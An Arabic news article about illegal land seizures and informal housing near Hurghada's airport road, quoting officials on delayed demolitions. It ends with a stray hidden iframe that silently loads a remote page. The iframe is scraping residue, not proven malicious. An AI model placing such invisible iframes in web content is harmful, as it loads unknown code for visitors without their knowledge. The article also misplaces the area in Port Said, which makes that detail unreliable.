زادت خلال الأشهر الماضية عملية الاستئلاء على الأراضي رغم الحملات التي تقوم بها الأجهزة الأمنية والتنفيذية لرفع حالات الإشغال بالطرقات، ومن أحدث المناطق التي تم الاستيلاء عليها «زرزارة2»، الموازية تمامًا لمنطقة زرزارة القديمة بمحافظة بورسعيد. الأهالي شيدوا مبانٍ واسعة بالطوب الأبيض، وقاموا ببناء وحدات سكنية عشوائية الوحدة مكونة من 4 غرف وحمام ومطبخ وفناء متسع يصل إلى 100 مترًا وتترواح مساحة الوحدة العشوائية التى شيدت ما بين 200 إلى 400 متراً بإجمالي نحو 300 وحدة سكنية. "الدستور الأصلي" رصد داخل تلك المباني العشرات من الأسر، كما رصدت مواشي، وطيور يتم تربيتها داخل المنازل ما يؤدي لأضرار بيئية وروائح كريهة نتيجة تربية الطيور والمواشي، إضافة على ما سبق تجار الخردة الذين كان لهم النصيب الأكبر فى الاستيلاء على تلك الأراضي، وسرقة للتيار الكهربابئ. ورغم ذلك يتجاهل المسؤولون بمجلس مدينة الغردقة والقيادات الأمنية خطورة الموقف بعد وصول عملية الاستيلاء والزحف بالمباني إلى طريق مطار الغردقة الدولي. وقال مدير إدارة هندسية بأحد مجالس مدن البحر الأحمر، إن قرارات الإزالة تم إرسالها لمديرية أمن البحر الأحمر لطلب قوة أمنية للبدء في حملة الإزالة، إلا إن الإجراءات الأمنية تتأخر، وتسبب ذلك في ظهور أكبر منطقة عشوائية بالغردقة. وأوضح أن ذلك ربما يرجع بسبب انشغال الأمن بقضايا أخرى رغم أن محافظة البحر الأحمر تتمتع بهدوء أمني عكس بعض المحافظات الأخري، الأمر الذي يلزم الجهات الأمنية بعد التأخير وسرعة تجهيز قوة أمنية بمختلف مدن البحر الأحمر لإزالة تلك التعديات. مسؤول بديوان عام محافظة البحر الأحمر قال في تصريح إلى "الدستور الأصلي"، إن الإجراءات الأمنية سبب في عدم إزالة تلك التعديات، وأضاف إن إجمالى قرارات الإزالة التي تم تنفيذها لم تتجاوز نسبة الأ25 %. وشهدت صفحات موقع التواصل الإجتماعي «الفيسبوك» سخرية من الحملات الضعفية التي تشنها محافظة البحر الأحمر، لإزالة التعدي على أراضي أملاك الدولة التي تصل إلى إزالة أسوار ارتفاعها 2 متر، وبعض الحوائط بجوار العمارات السكنية، بالإضافة إلى فشل بعض الحملات فى إزالة التعديات بعد أن تصدى الأهالي لها، فى مقابل أن الجهات الأمنية والتنفيذية تركت المساحات الشاسعة للاستيلاء عليها وإنشاء مناطق عشوائية ذات خطورة أمنية وبيئية. iframe src="http://tahrirnews.com/random.php" style="display:none"/iframe